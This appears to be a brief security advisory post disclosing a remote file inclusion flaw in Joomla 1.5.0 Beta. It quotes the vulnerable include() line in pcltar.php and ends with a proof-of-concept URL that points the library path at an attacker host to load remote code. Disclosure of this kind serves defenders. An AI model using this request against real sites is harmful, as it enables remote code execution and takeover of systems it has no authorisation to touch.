`Hi,  
Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live`  
or `production` sites."  
Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt  
have a good security approach. Anyway, there is a remote file inclusion  
in Joomla 1.5.0 Beta :  
  
File /libraries/pcl/pcltar.php, Line 74 :  
if (!defined("PCLERROR_LIB"))  
{  
include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension);  
}  
  
POC : http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
